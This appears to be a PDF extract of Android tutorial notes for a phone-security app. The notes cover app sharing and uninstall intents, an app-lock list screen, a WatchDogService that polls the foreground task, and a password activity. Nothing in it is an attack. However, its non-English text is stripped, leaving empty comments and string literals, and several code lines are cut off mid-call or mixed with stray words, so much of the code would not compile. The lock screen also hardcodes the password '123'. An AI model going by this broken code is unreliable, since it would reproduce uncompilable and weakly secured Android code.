https://play.google.com/store/apps/details?id=com.tencent.mobileqq	

/**
	*	7
	*/
public	void	shareApplication()	{
				/*
						<intent-filter>
											<action	android:name="android.intent.action.SEND"	/>
											<category	android:name="android.intent.category.DEFAULT"	/>
											<data	android:mimeType="text/plain"	/>
							</intent-filter>
					*/
				Intent	intent	=	new	Intent();
				intent.setAction(Intent.ACTION_SEND);//Deliver	some	data	to	someone	else
				intent.addCategory(Intent.CATEGORY_DEFAULT);
				intent.setType("text/plain");
				//	Optional	standard	extras,	which	may	be	interpreted	by	some	recipients
				//	as	appropriate,are:	EXTRA_EMAIL,	EXTRA_CC,	EXTRA_BCC,	EXTRA_SUBJECT.
				intent.putExtra(Intent.EXTRA_TEXT,	":" +clickAppInfo.getAppName()
												+":https://play.google.com/store/apps/details?id=com.tencent.mobileqq" );
				startActivity(intent);
}

https://play.google.com/store/apps/details?id=com.tencent.mobileqq


<activity	android:name=".UninstallerActivity"
								android:configChanges="orientation|keyboardHidden|screenSize"
								android:excludeFromRecents="true"
								android:theme="@android:style/Theme.DeviceDefault.Dialog.NoActionBar">
				<intent-filter>
								<action	android:name="android.intent.action.DELETE"	/>
								<action	android:name="android.intent.action.UNINSTALL_PACKAGE"	/>
								<category	android:name="android.intent.category.DEFAULT"	/>
								<data	android:scheme="package"	/>
				</intent-filter>
</activity>

private	Handler	handler	=	new	Handler(){
				@Override
				public	void	handleMessage(Message	msg)	{
								super.handleMessage(msg);
								ll_app_data.setVisibility(LinearLayout.INVISIBLE);
								if	(appManageAdapter	==	null)	{//	
												appManageAdapter	=	new	AppManageAdapter();
												lv_app_manage.setAdapter(appManageAdapter);
								}	else	{//	
												appManageAdapter.notifyDataSetChanged();
								}
				}
};
//	
@Override
protected	void	onActivityResult(int	requestCode,	int	resultCode,	Intent	data)	{
				super.onActivityResult(requestCode,	resultCode,	data);
				fillData();
}
/**
	*	8
	*/
public	void	uninstallApplication(){
				/*<intent-filter>
								<action	android:name="android.intent.action.DELETE"	/>
								<action	android:name="android.intent.action.UNINSTALL_PACKAGE"	/>
								<category	android:name="android.intent.category.DEFAULT"	/>
								<data	android:scheme="package"	/>
				</intent-filter>*/



				Intent	intent	=	new	Intent();
				intent.setAction(Intent.ACTION_DELETE);//Input:	getData	is	URI	of	data	to	be	deleted.	
				intent.addCategory(Intent.CATEGORY_DEFAULT);
				intent.setData(Uri.parse("package:"	+	clickAppInfo.getAppPackageName()));
				startActivityForResult(intent,	0);
}
1

2ListViewListView
ListView



1
2ActivityActivity
<intent-filter>
					<action	android:name="android.intent.action.MAIN"	/>
					<category	android:name="android.intent.category.LAUNCHER"	/>
</intent-filter>
3

package	cn.zengfansheng.getIconApp;

	

import	java.util.List;

	

import	android.app.Activity;

import	android.content.Intent;

import	android.content.pm.PackageManager;

import	android.content.pm.ResolveInfo;

import	android.os.Bundle;

	

public	class	MainActivity	extends	Activity	{

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

								setContentView(R.layout.activity_main);

	

								//	1

								PackageManager	packageManager	=	getPackageManager();

	

								//	2Activity,intent

								Intent	intent	=	new	Intent();

								intent.setAction(Intent.ACTION_MAIN);

								intent.addCategory(Intent.CATEGORY_LAUNCHER);

								int	flags	=	PackageManager.GET_RESOLVED_FILTER;//	IntentFilter

								List<ResolveInfo>	queryIntentActivities	=

packageManager.queryIntentActivities(intent,	flags);

	

								//	3

								for	(ResolveInfo	resolveInfo	:	queryIntentActivities)	{

												String	packageName	=	resolveInfo.activityInfo.packageName;//	

												String	name	=	resolveInfo.activityInfo.name;//	android:name

												String	iconName	=

resolveInfo.activityInfo.applicationInfo.loadIcon(packageManager).toString();

	

												System.out.println(packageName);

												System.out.println(name);

												System.out.println(iconName);

												System.out.println("----------");



								}

								System.out.println(queryIntentActivities.size());

				}

}



1TextViewxml
android:clickable="true"
android:focusable="true"		
<TextView
				android:id="@+id/tv_app_unlocked"
				android:layout_width="wrap_content"
				android:layout_height="wrap_content"
				android:background="@drawable/tab_right_default"
				android:clickable="true"
				android:focusable="true"
				android:gravity="center"
				android:onClick="click"
				android:text=""
				android:textColor="#ffffff"
				android:textSize="20sp"	/>
xml
2FrameLayout
FrameLayout

<?xml	version="1.0"	encoding="utf-8"?>
<!--	29	-->
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>

				<!--	1	-->
				<LinearLayout
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:background="#880000ff"
								android:gravity="center"
								android:orientation="horizontal"	>
								<TextView
												android:id="@+id/tv_app_unlocked"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:background="@drawable/tab_left_pressed"
												android:gravity="center"



												android:onClick="click"
												android:text="@string/app_unlocked"
												android:textColor="#ffffff"
												android:textSize="20sp"	/>
								<TextView
												android:id="@+id/tv_app_locked"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:background="@drawable/tab_right_default"
												android:gravity="center"
												android:text="@string/app_locked"
												android:textColor="#ffffff"
												android:textSize="20sp"	/>
				</LinearLayout>

				<FrameLayout
								android:layout_width="match_parent"
								android:layout_height="wrap_content"	>

								<!--	2	-->
								<LinearLayout
												android:id="@+id/ll_lv_unlocked"
												android:layout_width="match_parent"
												android:layout_height="match_parent"
												android:orientation="vertical"	>
												<TextView
																android:id="@+id/tv_listview_app_unlocked"
																android:layout_width="match_parent"
																android:layout_height="wrap_content"
																android:background="@android:color/darker_gray"
																android:textSize="18sp"	/>
												<ListView
																android:id="@+id/lv_app_unlocked"
																android:layout_width="match_parent"
																android:layout_height="wrap_content"	>
												</ListView>
								</LinearLayout>

								<!--	3	-->
								<LinearLayout
												android:id="@+id/ll_lv_locked"
												android:layout_width="match_parent"



												android:layout_height="match_parent"
												android:background="@android:color/darker_gray"
												android:orientation="vertical"
												android:visibility="invisible"	>
												<TextView
																android:id="@+id/tv_listview_app_locked"
																android:layout_width="match_parent"
																android:layout_height="wrap_content"
																android:textSize="18sp"	/>
												<ListView
																android:id="@+id/lv_app_locked"
																android:layout_width="match_parent"
																android:layout_height="wrap_content"	>
												</ListView>
								</LinearLayout>

								<!--	4	-->
								<LinearLayout
												android:id="@+id/ll_loading_data"
												android:layout_width="match_parent"
												android:layout_height="match_parent"
												android:gravity="center"
												android:orientation="vertical"
												android:visibility="invisible"	>
												<ProgressBar
																android:layout_width="wrap_content"
																android:layout_height="wrap_content"	/>
												<TextView
																android:layout_width="wrap_content"
																android:layout_height="wrap_content"
																android:layout_marginTop="10dip"
																android:text="@string/loadind_data_waiting"	/>
								</LinearLayout>
				</FrameLayout>
				
</LinearLayout>



1



	



1
a)	
b)	()
c)	
d)	ListView
e)	
f)	
2

1item
ListList
ListView
unLockedAdapter.notifyDataSetChanged();
lockedAdapter.notifyDataSetChanged();//	

2
getCount()getCount()ListView
@Override
public	int	getCount()	{
				if	(isAppUnlocked)	{//	
								if	(unlockedAppInfos	!=	null)	{
												tv_app_unlocked_count.setText("" +unlockedAppInfos.size()+"" );
												//ListView
												return	unlockedAppInfos.size();
								}
				}	else	{//	
								if	(lockedAppInfos	!=	null)	{
												tv_app_locked_count.setText("" +lockedAppInfos.size()+"" );
												//ListView
												return	lockedAppInfos.size();
								}
				}
				return	0;
}

3()
notifyDataSetChanged()ListViewListViewListView



4UI
1xml
a)	
<?xml	version="1.0"	encoding="utf-8"?>
<!--	7	-->
<translate	xmlns:android="http://schemas.android.com/apk/res/android"
				android:duration="300"
				android:fromXDelta="0"
				android:fromYDelta="0"
				android:toXDelta="100%"
				android:toYDelta="0"	>
</translate>	
b)		
//	a)
Animation	animation	=	AnimationUtils.loadAnimation(getApplicationContext(),	R.anim.applock_add
//	item,view
view.startAnimation(animation);

2UI
runOnUiThread(new	Thread()	{});

package	cn.zengfansheng.mobilesafe;

	

import	java.util.ArrayList;

import	java.util.List;

	

import	android.app.Activity;

import	android.os.Bundle;

import	android.os.Handler;

import	android.os.Message;

import	android.view.View;

import	android.view.View.OnClickListener;

import	android.view.ViewGroup;

import	android.view.animation.Animation;

import	android.view.animation.AnimationUtils;

import	android.widget.AdapterView;

import	android.widget.AdapterView.OnItemClickListener;

import	android.widget.BaseAdapter;

import	android.widget.ImageView;

import	android.widget.LinearLayout;

import	android.widget.ListView;

import	android.widget.TextView;

import	cn.zengfansheng.mobilesafe.db.dao.AppLockDao;

import	cn.zengfansheng.mobilesafe.domain.AppInfo;

import	cn.zengfansheng.mobilesafe.engine.AppInfoProvider;

import	cn.zengfansheng.mobilesafe.utils.ToastUtils;

	

/**

*	18

*



*	@author	hacket

*/

public	class	AppLockActivity	extends	Activity	implements	OnClickListener	{

	

				private	TextView	tv_app_unlocked;

				private	TextView	tv_app_locked;

				private	View	ll_lv_unlocked;

				private	View	ll_lv_locked;

	

				private	ListView	lv_app_unlocked;//	ListView

				private	ListView	lv_app_locked;//	ListView

	

				private	TextView	tv_app_unlocked_count;//	TextView

				private	TextView	tv_app_locked_count;//	TextView

	

				private	List<AppInfo>	allAppInfos;//List

				private	List<AppInfo>	unlockedAppInfos;//	List

				private	List<AppInfo>	lockedAppInfos;//	List

	

				private	View	ll_loading_data;//	

	

				private	AppLockAdapter	unLockedAdapter;//	

				private	AppLockAdapter	lockedAdapter;//	

	

				private	AppLockDao	appLockDao;//	dao

	

				private	Handler	handler	=	new	Handler(){

	

								@Override

								public	void	handleMessage(Message	msg)	{

												super.handleMessage(msg);

												//	uiinvisible

												ll_loading_data.setVisibility(View.INVISIBLE);

	

												//	

												//	a)	

												unLockedAdapter	=	new	AppLockAdapter(true);

												lv_app_unlocked.setAdapter(unLockedAdapter);

	

												//	b

												lockedAdapter	=	new	AppLockAdapter(false);

												lv_app_locked.setAdapter(lockedAdapter);

								}

				};

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

								this.setContentView(R.layout.activity_app_lock);

	

								//	a)

								tv_app_unlocked	=	(TextView)	this.findViewById(R.id.tv_app_unlocked);

								tv_app_locked	=	(TextView)	this.findViewById(R.id.tv_app_locked);

								ll_lv_unlocked	=	this.findViewById(R.id.ll_lv_unlocked);

								ll_lv_locked	=	this.findViewById(R.id.ll_lv_locked);

	



								lv_app_unlocked	=	(ListView)	this.findViewById(R.id.lv_app_unlocked);

								lv_app_locked	=	(ListView)	this.findViewById(R.id.lv_app_locked);

	

								tv_app_unlocked_count	=	(TextView)	this.findViewById(R.id.tv_app_unlocked_count);

								tv_app_locked_count	=	(TextView)	this.findViewById(R.id.tv_app_locked_count);

	

								ll_loading_data	=	this.findViewById(R.id.ll_loading_data);

	

								appLockDao	=	new	AppLockDao(getApplicationContext());

	

								//	b

								tv_app_unlocked.setOnClickListener(this);

								tv_app_locked.setOnClickListener(this);

	

								//	c)

								fillData();

	

								//	dListViewitem

								lv_app_unlocked.setOnItemClickListener(new	OnItemClickListener()	{

	

												@Override

												public	void	onItemClick(AdapterView<?>	parent,	View	view,

																				final	int	position,	long	id)	{

	

																//	a)

																Animation	animation	=	AnimationUtils.loadAnimation(getApplicationContext(),

R.anim.applock_add);

																//	item,view

																view.startAnimation(animation);

	

																//	b)UI

																new	Thread()	{

																				@Override

																				public	void	run()	{

																								//	

																								try	{

																												Thread.sleep(300);

																								}	catch	(InterruptedException	e)	{

																												e.printStackTrace();

																								}

																								//	3UI

																								runOnUiThread(new	Thread()	{

																												@Override

																												public	void	run()	{

	

																																//	1itemAppInfo

																																AppInfo	appInfo	=	unlockedAppInfos.get(position);

																																//	2	unlockedAppInfos

																																unlockedAppInfos.remove(appInfo);

																																//	3	lockedAppInfos

																																lockedAppInfos.add(appInfo);

																																//	4

																																appLockDao.add(appInfo.getAppPackageName());

	

																																//	4



																																unLockedAdapter.notifyDataSetChanged();

																																lockedAdapter.notifyDataSetChanged();//	

																												}

																								});

																				}

																}.start();

												}

								});

								//	eListViewitem

								lv_app_locked.setOnItemClickListener(new	OnItemClickListener()	{

	

												@Override

												public	void	onItemClick(AdapterView<?>	parent,	View	view,

																				final	int	position,	long	id)	{

	

																//	1)

																Animation	animation	=	AnimationUtils.loadAnimation(getApplicationContext(),

R.anim.applock_remove);

																view.startAnimation(animation);

	

																//	2UI

																new	Thread()	{

																				@Override

																				public	void	run()	{

																								try	{

																												Thread.sleep(300);

																								}	catch	(InterruptedException	e)	{

																												e.printStackTrace();

																								}

																								runOnUiThread(new	Thread()	{

																												public	void	run()	{

																																//	1itemAppInfo

																																AppInfo	appInfo	=	lockedAppInfos.get(position);

	

																																//	2	lockedAppInfos

																																lockedAppInfos.remove(appInfo);

																																//	3	unlockedAppInfos

																																unlockedAppInfos.add(appInfo);

																																//	4

																																appLockDao.delete(appInfo.getAppPackageName());

	

																																//	4

																																unLockedAdapter.notifyDataSetChanged();

																																lockedAdapter.notifyDataSetChanged();//	

																												}

																								});

																				}

																}.start();

												}

								});

				}

	

				/**

					*	4ListView

					*/



				private	void	fillData()	{

	

								//	a)	invisible

								ll_loading_data.setVisibility(View.VISIBLE);

	

								//	b)	

								new	Thread()	{

												public	void	run()	{

																try	{

																				Thread.sleep(500);

																}	catch	(InterruptedException	e)	{

																				e.printStackTrace();

																				ToastUtils.showToastInThread(AppLockActivity.this,	"~~~" );

																				return;

																}

																//	

																allAppInfos	=	AppInfoProvider.getAppInfos(getApplicationContext());

	

																unlockedAppInfos	=	new	ArrayList<AppInfo>();

																lockedAppInfos	=	new	ArrayList<AppInfo>();

	

																for	(AppInfo	appInfo	:	allAppInfos)	{

																				if	(appLockDao.find(appInfo.getAppPackageName()))	{//	

																								lockedAppInfos.add(appInfo);

																				}	else	{//	

																								unlockedAppInfos.add(appInfo);

																				}

																}

																handler.sendEmptyMessage(0);//	

												}

								}.start();

				}

	

				/**

					*	3ListViewViewHolder

					*	@author	hacket

					*/

				private	static	class	ViewHolder	{

	

								private	ImageView	iv_app_icon;//	icon

								private	TextView	tv_app_name;//	

								private	ImageView	iv_lock_status;//	

				}

				/**

					*	2

					*	@author	hacket

					*/

				private	class	AppLockAdapter	extends	BaseAdapter{

	

								/**

									*	truefalse

									*/

								private	boolean	isAppUnlocked;

	

								public	AppLockAdapter(boolean	isAppUnlocked)	{



												this.isAppUnlocked	=	isAppUnlocked;

								}

	

								@Override

								public	int	getCount()	{

	

												if	(isAppUnlocked)	{//	

																if	(unlockedAppInfos	!=	null)	{

																				tv_app_unlocked_count.setText("" +unlockedAppInfos.size()

ListView

																				return	unlockedAppInfos.size();

																}

												}	else	{//	

																if	(lockedAppInfos	!=	null)	{

																				tv_app_locked_count.setText("" +lockedAppInfos.size()+""

																				return	lockedAppInfos.size();

																}

												}

												return	0;

								}

	

								@Override

								public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{

	

												View	view;

												ViewHolder	viewHolder;

												if	(convertView	!=	null	&&	convertView	instanceof	LinearLayout)	{

	

																view	=	convertView;

																viewHolder	=	(ViewHolder)	view.getTag();

	

												}	else	{

	

																view	=	View.inflate(getApplicationContext(),	R.layout.listview_app_locked,

null);

	

																viewHolder	=	new	ViewHolder();

																viewHolder.iv_app_icon	=	(ImageView)	view.findViewById(R.id.iv_app_icon);

																viewHolder.tv_app_name	=	(TextView)	view.findViewById(R.id.tv_app_name);

																viewHolder.iv_lock_status	=	(ImageView)

view.findViewById(R.id.iv_lock_status);

	

																view.setTag(viewHolder);

												}

	

												if	(isAppUnlocked)	{//	

																AppInfo	appInfo	=	unlockedAppInfos.get(position);

	

																viewHolder.iv_app_icon.setImageDrawable(appInfo.getAppIcon());

																viewHolder.tv_app_name.setText(appInfo.getAppName());

																viewHolder.iv_lock_status.setImageResource((R.drawable.wizard_lock));

	

												}	else	{//	

	

																AppInfo	appInfo	=	lockedAppInfos.get(position);



	

																viewHolder.iv_app_icon.setImageDrawable(appInfo.getAppIcon());

																viewHolder.tv_app_name.setText(appInfo.getAppName());

																viewHolder.iv_lock_status.setImageResource((R.drawable.wizard_unlock));

	

												}

												return	view;

								}

	

								@Override

								public	Object	getItem(int	position)	{

												return	null;

								}

								@Override

								public	long	getItemId(int	position)	{

												return	0;

								}

				}

	

				//	1

				@Override

				public	void	onClick(View	v)	{

	

								switch	(v.getId())	{

	

								case	R.id.tv_app_unlocked://	

	

												tv_app_unlocked.setBackgroundResource(R.drawable.tab_left_pressed);

												tv_app_locked.setBackgroundResource(R.drawable.tab_right_default);

												ll_lv_unlocked.setVisibility(View.VISIBLE);

												ll_lv_locked.setVisibility(View.INVISIBLE);

												break;

	

								case	R.id.tv_app_locked://	

	

												tv_app_unlocked.setBackgroundResource(R.drawable.tab_left_default);

												tv_app_locked.setBackgroundResource(R.drawable.tab_right_pressed);

												ll_lv_unlocked.setVisibility(View.INVISIBLE);

												ll_lv_locked.setVisibility(View.VISIBLE);

												break;

								}

				}

}



	
1

2

convertView

//	dListViewitem
lv_app_unlocked.setOnItemClickListener(new	OnItemClickListener()	{
				@Override
				public	void	onItemClick(AdapterView<?>	parent,	View	view,
												int	position,	long	id)	{
								//	1itemAppInfo
								AppInfo	appInfo	=	unlockedAppInfos.get(position);

								//
								Animation	animation	=	AnimationUtils.loadAnimation(getApplicationContext(),	R.anim.
								//	item,view
								view.startAnimation(animation);
								
								//	2	unlockedAppInfos



								unlockedAppInfos.remove(appInfo);
								//	3	lockedAppInfos
								lockedAppInfos.add(appInfo);
								//	4
								appLockDao.add(appInfo.getAppPackageName());
								//	4
								unLockedAdapter.notifyDataSetChanged();
								lockedAdapter.notifyDataSetChanged();//	
				}
});

android,ios,wp
ui

//	dListViewitem
lv_app_unlocked.setOnItemClickListener(new	OnItemClickListener()	{
				@Override
				public	void	onItemClick(AdapterView<?>	parent,	View	view,
												final	int	position,	long	id)	{
								//	a)
								Animation	animation	=	AnimationUtils.loadAnimation(getApplicationContext(),	R.anim.
								//	item,view
								view.startAnimation(animation);
								
								//	b)UI
								new	Thread()	{
												@Override
												public	void	run()	{
																//	
																try	{
																				Thread.sleep(300);
																}	catch	(InterruptedException	e)	{
																				e.printStackTrace();
																}
																//	3UI
																runOnUiThread(new	Thread()	{
																				@Override
																				public	void	run()	{
																								//	1itemAppInfo
																								AppInfo	appInfo	=	unlockedAppInfos.get(position);
																								//	2	unlockedAppInfos
																								unlockedAppInfos.remove(appInfo);
																								//	3	lockedAppInfos
																								lockedAppInfos.add(appInfo);



																								//	4
																								appLockDao.add(appInfo.getAppPackageName());
																								//	4
																								unLockedAdapter.notifyDataSetChanged();
																								lockedAdapter.notifyDataSetChanged();//	
																				}
																});
												}
								}.start();
				}
});



-

1Activity
ActivityManager
2	Service()
3ActivitypackagenameActivity

package	cn.zengfansheng.mobilesafe.service;
	
import	java.util.List;
	
import	android.app.ActivityManager;
import	android.app.ActivityManager.RunningTaskInfo;
import	android.app.Service;
import	android.content.ComponentName;
import	android.content.Context;
import	android.content.Intent;
import	android.os.IBinder;
import	android.util.Log;



import	cn.zengfansheng.mobilesafe.EnterPasswordActivity;
import	cn.zengfansheng.mobilesafe.db.dao.AppLockDao;
	
/**
*	4Service——
*	@author	hacket
*/
public	class	WatchDogService	extends	Service	{
	
				protected	static	final	String	TAG	=	"WatchDogService";
	
				private	ActivityManager	activityManager;
	
				private	boolean	flag;//	,truefalse
	
				private	AppLockDao	appLockDao;
	
				private	Intent	intent;
	
				@Override
				public	IBinder	onBind(Intent	intent)	{
								return	null;
				}
	
				@Override
				public	void	onCreate()	{
								super.onCreate();
	
								//	1ActivityManager
								activityManager	=	(ActivityManager)
getSystemService(Context.ACTIVITY_SERVICE);
	
								appLockDao	=	new	AppLockDao(getApplicationContext());
								intent	=	new	Intent(getApplicationContext(),
																EnterPasswordActivity.class);
								intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);//	Activity
	
								//	.
								new	Thread()	{
												public	void	run()	{
																flag	=	true;
																while	(flag)	{



	
																				//	23Task
																				List<RunningTaskInfo>	runningTasks	=
activityManager.getRunningTasks(3);
	
																				//	3Activitytask
																				RunningTaskInfo	runningTaskInfo	=	runningTasks.get(0);
	
																				//	4Activity
																				ComponentName	topActivity	=	runningTaskInfo.topActivity;
																				String	packageName	=	topActivity.getPackageName();
	
																				boolean	isLock	=	appLockDao.find(packageName);
																				if	(isLock)	{//	Activity
																								Log.i(TAG,	packageName+"~" );
																								startActivity(intent);
																				}	else	{//	
																								Log.i(TAG,	packageName	+	"~" );
																				}
																				try	{
																								Thread.sleep(300);
																				}	catch	(InterruptedException	e)	{
																								e.printStackTrace();
																				}
																				System.out.println(packageName);
																}
												}
								}.start();
				}
				@Override
				public	void	onDestroy()	{
								super.onDestroy();
								flag	=	false;
				}
}

	<uses-permission	android:name="android.permission.GET_TASKS"	/>		



&ListView&PopupWindow&&&&&
1
1)ListView:
a)convertViewview
b)ViewHolder
2)Handler+Message
3)	FocusedTextView
android:ellipsize="marquee"
android:singleLine="true"
2ListView

getCount():ListView
getView():ListViewView
3PopupWindow
Activity

PopupWindow.

4PopupWindow
<action	android:name="android.intent.action.SEND"	/>
5PopupWindow
<action	android:name="android.intent.action.DELETE"	/>
6PopupWindow
Activity
7activity.
PackageManager
packageManager.queryIntentActivities(intent,	flags);
8
	uiactivity.
			a)		
			b)	fragment
			c)		setContentView();
9UI
a)
b)()
c)
d)UIListView



e)item
f)
g)
10——
1
ActivityActivityManager
2
Service()
3ActivitypackagenameActivity

activityManager
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a)	EnterPasswordActivity.java
package	cn.zengfansheng.mobilesafe;
import	android.app.Activity;
import	android.content.Intent;
import	android.content.pm.ApplicationInfo;
import	android.content.pm.PackageManager;
import	android.content.pm.PackageManager.NameNotFoundException;
import	android.graphics.drawable.Drawable;
import	android.os.Bundle;
import	android.text.TextUtils;
import	android.view.KeyEvent;
import	android.view.View;
import	android.view.View.OnClickListener;
import	android.widget.Button;
import	android.widget.EditText;
import	android.widget.TextView;
import	cn.zengfansheng.mobilesafe.utils.ToastUtils;
/**
	*	19 -Activity,
	*	
	*	@author	hacket
	*/
public	class	EnterPasswordActivity	extends	Activity	{
				private	TextView	tv_protect_name_icon;//	iconname
				private	EditText	et_enter_password;//	
				private	Button	bt_enter;//	
				private	String	packagename;//	
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								this.setContentView(R.layout.activity_app_lock_enter_pwd);
								
								tv_protect_name_icon	=	(TextView)	this.findViewById(R.id.tv_protect_name_icon);



								et_enter_password	=	(EditText)	this.findViewById(R.id.et_enter_password);
								bt_enter	=	(Button)	this.findViewById(R.id.bt_enter);
								
								//	1EnterPasswordActivity
								setEnterPassActivity();
								//	2
								bt_enter.setOnClickListener(new	OnClickListener()	{
												@Override
												public	void	onClick(View	v)	{
																String	et_pass	=	et_enter_password.getText().toString().trim();
																if	(TextUtils.isEmpty(et_pass))	{//	 TODO	
																				ToastUtils.showToastInThread(EnterPasswordActivity.this,	"~~~" );
																				return;
																}
																if	("123".equals(et_pass))	{//123,	TODO	SharedPreferences
																				//	ActivityService
																				//	1serviceactivity	2
																				Intent	intent	=	new	Intent();
																				intent.setAction("cn.zengfansheng.cancel");
																				intent.putExtra("packagename",	packagename);
																				sendBroadcast(intent);//	
																				finish();//	Activity
																}	else	{
																				ToastUtils.showToastInThread(EnterPasswordActivity.this,	"~~~" );
																				return;
																}
												}
								});
				}
				//	2
				@Override
				public	boolean	onKeyDown(int	keyCode,	KeyEvent	event)	{
								//	LogCat
								if	(keyCode	==	KeyEvent.KEYCODE_BACK)	{
								/*<intent-filter>
												<action	android:name="android.intent.action.MAIN"	/>
												<category	android:name="android.intent.category.HOME"	/>
												<category	android:name="android.intent.category.DEFAULT"	/>
												<category	android:name="android.intent.category.MONKEY"/>
								</intent-filter>*/
												Intent	intent	=	new	Intent();
												intent.setAction(Intent.ACTION_MAIN);



												//	3CATEGORY
												intent.addCategory(Intent.CATEGORY_HOME);
												intent.addCategory(Intent.CATEGORY_DEFAULT);
												intent.addCategory(Intent.CATEGORY_MONKEY);
												startActivity(intent);
												return	true;//	true
								}
								return	super.onKeyDown(keyCode,	event);
				}
				/**
					*	1EnterPasswordActivity
					*/
				private	void	setEnterPassActivity()	{
								//	1ActivityIntent
								Intent	intent	=	getIntent();//Return	the	intent	that	started	this	activity.	
								//	2
								packagename	=	intent.getStringExtra("packagename");
								//	3
								PackageManager	packageManager	=	getPackageManager();
								//	4
								try	{
												ApplicationInfo	applicationInfo	=	packageManager.getApplicationInfo(packagename
												String	appName	=	applicationInfo.loadLabel(packageManager).toString();
												Drawable	appIcon	=	applicationInfo.loadIcon(packageManager);
												appIcon.setBounds(0,	0,	70,	83);
												//	5Activity
												tv_protect_name_icon.setCompoundDrawables(null,	appIcon,	null,	null);
												tv_protect_name_icon.setText(appName);
								}	catch	(NameNotFoundException	e)	{
												e.printStackTrace();
								}
				}
}

b)	WatchDogService.java

package	cn.zengfansheng.mobilesafe.service;
import	java.util.ArrayList;
import	java.util.List;
import	android.app.ActivityManager;
import	android.app.ActivityManager.RunningTaskInfo;
import	android.app.Service;

wiz:open_attachment?guid=dd338a7d-4da6-4514-aae2-df8a0dc59346


import	android.content.BroadcastReceiver;
import	android.content.ComponentName;
import	android.content.Context;
import	android.content.Intent;
import	android.content.IntentFilter;
import	android.os.IBinder;
import	android.util.Log;
import	cn.zengfansheng.mobilesafe.EnterPasswordActivity;
import	cn.zengfansheng.mobilesafe.db.dao.AppLockDao;
/**
	*	4Service——
	*	@author	hacket
	*/
public	class	WatchDogService	extends	Service	{

				protected	static	final	String	TAG	=	"WatchDogService";
				private	ActivityManager	activityManager;//	Activity
				private	boolean	flag;//	,truefalse
				private	AppLockDao	appLockDao;//	 dao
				private	Intent	intent;//	ActivityIntent
				private	CancelProtectApplication	noProtectReceiver;//	
				private	List<String>	tempNoProtectAppPackageName;//	
				private	BroadcastReceiver	screenOffReceiver;//	
				@Override
				public	IBinder	onBind(Intent	intent)	{
								return	null;
				}
				@Override
				public	void	onCreate()	{
								super.onCreate();
								tempNoProtectAppPackageName	=	new	ArrayList<String>();
								//	3
								screenOffReceiver	=	new	BroadcastReceiver()	{
												@Override
												public	void	onReceive(Context	context,	Intent	intent)	{
																//	List
																if	(tempNoProtectAppPackageName	!=	null)	{
																				tempNoProtectAppPackageName.clear();
																}
												}
								};
								IntentFilter	screenFilter	=	new	IntentFilter();



								screenFilter.addAction(Intent.ACTION_SCREEN_OFF);//	
								registerReceiver(screenOffReceiver,	screenFilter);
								//	2
								noProtectReceiver	=	new	CancelProtectApplication();
								IntentFilter	filter	=	new	IntentFilter();
								filter.addAction("cn.zengfansheng.cancel");
								registerReceiver(noProtectReceiver,	filter);
								//	1ActivityManager
								activityManager	=	(ActivityManager)	getSystemService(Context.ACTIVITY_SERVICE
								appLockDao	=	new	AppLockDao(getApplicationContext());
								intent	=	new	Intent(getApplicationContext(),EnterPasswordActivity.class);
								intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);//	Activity
								//	.
								new	Thread()	{
												public	void	run()	{
																flag	=	true;
																while	(flag)	{
																				//	23Task
																				List<RunningTaskInfo>	runningTasks	=	activityManager.getRunningTasks(3);
																				//	3Activitytask
																				RunningTaskInfo	runningTaskInfo	=	runningTasks.get(0);
																				//	4Activity
																				ComponentName	topActivity	=	runningTaskInfo.topActivity;
																				String	packageName	=	topActivity.getPackageName();
																				boolean	isLock	=	appLockDao.find(packageName);
																				if	(isLock)	{//	Activity
																								if	(!tempNoProtectAppPackageName.contains(packageName))	{//	
																												Log.i(TAG,	packageName	+	"~" );
																												//	 packagename
																												intent.putExtra("packagename",	packageName);
																												startActivity(intent);
																								}
																				}	else	{//	
																								Log.i(TAG,	packageName	+	"~" );
																				}
																				try	{
																								Thread.sleep(300);
																				}	catch	(InterruptedException	e)	{
																								e.printStackTrace();
																				}
																				System.out.println(packageName);
																}



												}
								}.start();
				}
				@Override
				public	void	onDestroy()	{
								super.onDestroy();
								//	1
								flag	=	false;
								//	2-
								unregisterReceiver(noProtectReceiver);
								noProtectReceiver	=	null;
								//	3
								unregisterReceiver(screenOffReceiver);
								screenOffReceiver	=	null;
				}
				
				/**
					*	1
					*	@author	hacket
					*/
				private	class	CancelProtectApplication	extends	BroadcastReceiver{
								@Override
								public	void	onReceive(Context	context,	Intent	intent)	{
												//	1	
												String	packagename	=	intent.getStringExtra("packagename");
												//	2List
												tempNoProtectAppPackageName.add(packagename);
								}
				}
}

1

2
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//	3
screenOffReceiver	=	new	BroadcastReceiver()	{
				@Override
				public	void	onReceive(Context	context,	Intent	intent)	{
								//	List
								if	(tempNoProtectAppPackageName	!=	null)	{
												tempNoProtectAppPackageName.clear();
								}
				}
};
IntentFilter	screenFilter	=	new	IntentFilter();
screenFilter.addAction(Intent.ACTION_SCREEN_OFF);//	
registerReceiver(screenOffReceiver,	screenFilter);		

ServiceActivity
ServiceService
3

1logcat

	
2:
<activity
												android:name="com.android.launcher2.Launcher"
												android:launchMode="singleTask"
												android:clearTaskOnLaunch="true"
												android:stateNotNeeded="true"
												android:theme="@style/Theme"
												android:windowSoftInputMode="adjustPan"
												android:screenOrientation="nosensor">
												<intent-filter>
																<action	android:name="android.intent.action.MAIN"	/>
																<category	android:name="android.intent.category.HOME"	/>
																<category	android:name="android.intent.category.DEFAULT"	/>
																<category	android:name="android.intent.category.MONKEY"/>
												</intent-filter>



</activity>		
3
//	2
@Override
public	boolean	onKeyDown(int	keyCode,	KeyEvent	event)	{
				//	LogCat
				if	(keyCode	==	KeyEvent.KEYCODE_BACK)	{
				/*<intent-filter>
								<action	android:name="android.intent.action.MAIN"	/>
								<category	android:name="android.intent.category.HOME"	/>
								<category	android:name="android.intent.category.DEFAULT"	/>
								<category	android:name="android.intent.category.MONKEY"/>
